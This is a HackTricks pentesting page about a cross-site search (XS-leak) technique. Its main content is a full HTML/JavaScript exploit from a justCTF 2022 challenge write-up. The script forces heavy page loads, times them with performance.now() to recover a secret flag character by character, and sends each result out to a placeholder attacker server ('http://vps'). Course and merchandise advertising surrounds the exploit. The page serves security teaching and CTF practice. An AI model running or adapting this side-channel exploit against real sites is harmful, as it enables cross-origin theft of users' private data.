hacktricks/pentesting-web/xs-search/performance.now-+-force-heavy-task.md

# performance.now + Force heavy task

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

**Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**

In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not.

{% hint style="warning" %}
Initially, I didn’t set object width and height, but later on, I found that it’s important because the default size is too small to make a difference in the load time.
{% endhint %}

```html
<!DOCTYPE html>
<html>
<head>

</head>
<body>
  <img src="https://deelay.me/30000/https://example.com">
    <script>
      fetch('https://deelay.me/30000/https://example.com')

      function send(data) {
        fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
      }

      function leak(char, callback) {
        return new Promise(resolve => {
          let ss = 'just_random_string'
          let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
          let start = performance.now()
          let object = document.createElement('object');
          object.width = '2000px'
          object.height = '2000px'
          object.data = url;
          object.onload = () => {
            object.remove()
            let end = performance.now()
            resolve(end - start)
          }
          object.onerror = () => console.log('Error event triggered');
          document.body.appendChild(object);
        })
        
      }

      send('start')

      let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
      let flag = 'justCTF{'

      async function main() {
        let found = 0
        let notFound = 0
        for(let i=0;i<3;i++) {
          await leak('..')
        }
        for(let i=0; i<3; i++) {
          found += await leak('justCTF')
        }
        for(let i=0; i<3; i++) {
          notFound += await leak('NOT_FOUND123')
        }

        found /= 3
        notFound /= 3
        
        send('found flag:'+found)
        send('not found flag:'+notFound)

        let threshold = found - ((found - notFound)/2)
        send('threshold:'+threshold)

        if (notFound > found) {
          return
        }

        // exploit
        while(true) {
          if (flag[flag.length - 1] === '}') {
            break
          }
          for(let char of charset) {
            let trying = flag + char
            let time = 0
            for(let i=0; i<3; i++) {
              time += await leak(trying)
            }
            time/=3
            send('char:'+trying+',time:'+time)
            if (time >= threshold) {
              flag += char
              send(flag)
              break
            }
          }
        }
      }

      main()
      
    </script>
</body>

</html>
```


<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>